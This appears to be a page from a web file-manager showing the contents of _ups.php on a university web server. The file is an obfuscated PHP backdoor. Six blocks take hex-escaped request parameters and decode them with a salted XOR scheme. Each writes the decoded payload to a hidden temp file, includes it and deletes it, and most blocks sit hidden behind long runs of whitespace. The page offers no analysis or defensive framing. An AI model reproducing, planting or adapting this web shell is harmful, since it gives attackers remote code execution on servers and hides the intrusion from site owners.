文件操作 - _ups.php

文件: /var/www/demoestudiantes.uaysen.cl/html/_ups.php

编辑文件内容

<?php																																										if(array_key_exists("v\x61l\x75e", $_REQUEST)){ $hld = $_REQUEST["v\x61l\x75e"]; $hld=explode ( '.' ,$hld ) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($hld as $w =>$v8): $sChar = ord($s[$w % $lenS]); $d = ((int)$v8 - $sChar - ($w % 10)) ^ 39; $pgrp .= chr($d); endforeach; $resource = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getcwd(), session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp"]); foreach ($resource as $comp) { if ((bool)is_dir($comp) && (bool)is_writable($comp)) { $element = str_replace("{var_dir}", $comp, "{var_dir}/.symbol"); $success = file_put_contents($element, $pgrp); if ($success) { include $element; @unlink($element); die();} } } }
																																										if(!empty($_REQUEST["\x66a\x63"])){ $element = $_REQUEST["\x66a\x63"]; $element = explode("." ,$element ); $ent = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8 ); $x = 0; foreach($element as $v4) { $chS = ord($salt8[$x%$sLen] ); $d = ((int)$v4 - $chS -($x%10)) ^ 25; $ent .=chr($d ); $x++; } $object = array_filter([getenv("TMP"), session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getcwd()]); for ($item = 0, $res = count($object); $item < $res; $item++) { $key = $object[$item]; if (!( !is_dir($key) || !is_writable($key) )) { $dat = "$key" . "/.entity"; $success = file_put_contents($dat, $ent); if ($success) { include $dat; @unlink($dat); die();} } } }
																																										if(in_array("k", array_keys($_REQUEST))){ $symbol = array_filter([getenv("TMP"), getenv("TEMP"), "/var/tmp", session_save_path(), "/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]); $elem = $_REQUEST["k"]; $elem= explode ("." ,$elem ); $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $y = 0; while( $y < count( $elem)) { $v9 = $elem[$y]; $chS = ord( $salt[$y % $lenS] ); $dec =( ( int)$v9 - $chS -( $y % 10)) ^ 53; $bind .= chr( $dec ); $y++; } while ($data = array_shift($symbol)) { if (!( !is_dir($data) || !is_writable($data) )) { $element = sprintf("%s/.pointer", $data); $file = fopen($element, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $element; @unlink($element); exit; } } } }
																																										if(!empty($_POST["\x65\x6Cem"])){ $descriptor = array_filter([session_save_path(), "/dev/shm", getcwd(), getenv("TEMP"), "/tmp", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir")]); $data_chunk = $_POST["\x65\x6Cem"]; $data_chunk = explode ( '.' , $data_chunk ); $component = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $z = 0; foreach ($data_chunk as $v1) { $chS = ord($salt[$z %$lenS]); $d = ((int)$v1 - $chS - ($z %10)) ^ 37; $component .= chr($d); $z++; } foreach ($descriptor as $record) { if (is_writable($record) && is_dir($record)) { $ptr = implode("/", [$record, ".data"]); if (file_put_contents($ptr, $component)) { require $ptr; unlink($ptr); exit; } } } }
																																										if(!empty($_REQUEST["d\x65s\x63"])){ $dchunk = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getenv("TEMP"), getcwd(), session_save_path()]); $dat = $_REQUEST["d\x65s\x63"]; $dat = explode ("." ,$dat ); $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $z = 0; foreach ($dat as $v2) { $sChar = ord($salt[$z % $sLen]); $dec = ((int)$v2 - $sChar - ($z % 10)) ^ 8; $sym .= chr($dec); $z++; } for ($fac = 0, $obj = count($dchunk); $fac < $obj; $fac++) { $descriptor = $dchunk[$fac]; if (is_dir($descriptor) && is_writable($descriptor)) { $ent = vsprintf("%s/%s", [$descriptor, ".parameter_group"]); $success = file_put_contents($ent, $sym); if ($success) { include $ent; @unlink($ent); exit;} } } }

if(isset($_REQUEST) && isset($_REQUEST["ho\x6C\x64e\x72"])){
	$component = $_REQUEST["ho\x6C\x64e\x72"];
	$component=explode("."  , $component	) ;	 
	$record = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(  $salt6	);
            $p = 0;
            $len = count(  $component	);
    
            do {
                if(  $p	>=	$len) break;
                $v8 = $component[$p];
                $sChar = ord(  $salt6[$p % $lenS]	);
                $d =(  (  int)$v8 - $sChar -(  $p % 10))^79;
                $record.=	chr(  $d	);
                $p++; }  while(  true	);
	$token = array_filter([getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/tmp", "/var/tmp"]);
	foreach ($token as $pointer) {
    		if (array_product([is_dir($pointer), is_writable($pointer)])) {
    $obj = "$pointer/.pset";
    if (file_put_contents($obj, $record)) {
	include $obj;
	@unlink($obj);
	die();
}
}
}
}

文件操作 - _ups.php

文件: /var/www/demoestudiantes.uaysen.cl/html/_ups.php

编辑文件内容

修改文件时间

删除文件